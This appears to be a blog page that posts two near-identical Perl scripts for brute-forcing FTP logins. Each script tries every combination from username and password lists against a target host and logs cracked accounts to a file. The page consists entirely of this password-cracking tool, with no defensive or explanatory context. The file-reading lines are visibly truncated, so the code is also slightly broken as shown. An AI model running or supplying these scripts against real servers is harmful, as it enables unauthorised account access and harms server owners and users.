#!/usr/bin/perl
use strict;
use Getopt::Std;
use Net::FTP;
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:p:P:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };
if (! -e "FTP_CRACK") {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
close LOGFILE;
};
my $HOST = $opt_h;
my $USER;
my $PASS;
my @USERNAMES;
my @PASSWORDS;
my $ftp;
if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
} else {
open (USERFILE, "$opt_U") or die "\a\nError Unable To Open $opt_U.\n $!";
@USERNAMES = ;
close USERFILE;
};
if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
} else {
open (PASSFILE, "$opt_P") or die "\a\nError Unable To Open $opt_P.\n $!";
@PASSWORDS = ;
close PASSFILE;
};
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
&connect;
&do_it;
};
};
&quit;
exit;
sub connect {
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
};
sub do_it{
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};
sub success {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
print LOGFILE "\nUsername : $USER has Password : $PASS on $HOST.\n\n\n\n\n";
close LOGFILE;
&quit;
};
sub usage {
print "Usage:$0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname Of FTP Server.";
print "\n-u = Single Username To crack.";
print "\n-U = List Of Usernames To crack.";
print "\n-p = Single Password To use.";
print "\n-P = List Of Passwords To use.";
print "\nCracked Accounts are appended To result.txt .";
print "\n\n";
exit;
};
sub quit {
print "\n\nI'M DONE ......\n\n";
exit;
};
------------------------------------------------
#!/usr/bin/perl
use strict;
use Getopt::Std;
use Net::FTP;
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:p:P:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };
if (! -e "FTP_CRACK") {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
close LOGFILE;
};
my $HOST = $opt_h;
my $USER;
my $PASS;
my @USERNAMES;
my @PASSWORDS;
my $ftp;
if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
} else {
open (USERFILE, "$opt_U") or die "\a\nError Unable To Open $opt_U.\n $!";
@USERNAMES = ;
close USERFILE;
};
if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
} else {
open (PASSFILE, "$opt_P") or die "\a\nError Unable To Open $opt_P.\n $!";
@PASSWORDS = ;
close PASSFILE;
};
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
&connect;
&do_it;
};
};
&quit;
exit;
sub connect {
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
};
sub do_it{
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};
sub success {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
print LOGFILE "\nUsername : $USER has Password : $PASS on $HOST.\n\n\n\n\n";
close LOGFILE;
&quit;
};
sub usage {
print "Usage:$0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname Of FTP Server.";
print "\n-u = Single Username To crack.";
print "\n-U = List Of Usernames To crack.";
print "\n-p = Single Password To use.";
print "\n-P = List Of Passwords To use.";
print "\nCracked Accounts are appended To result.txt .";
print "\n\n";
exit;
};
sub quit {
exit;
};
No comments:
Post a Comment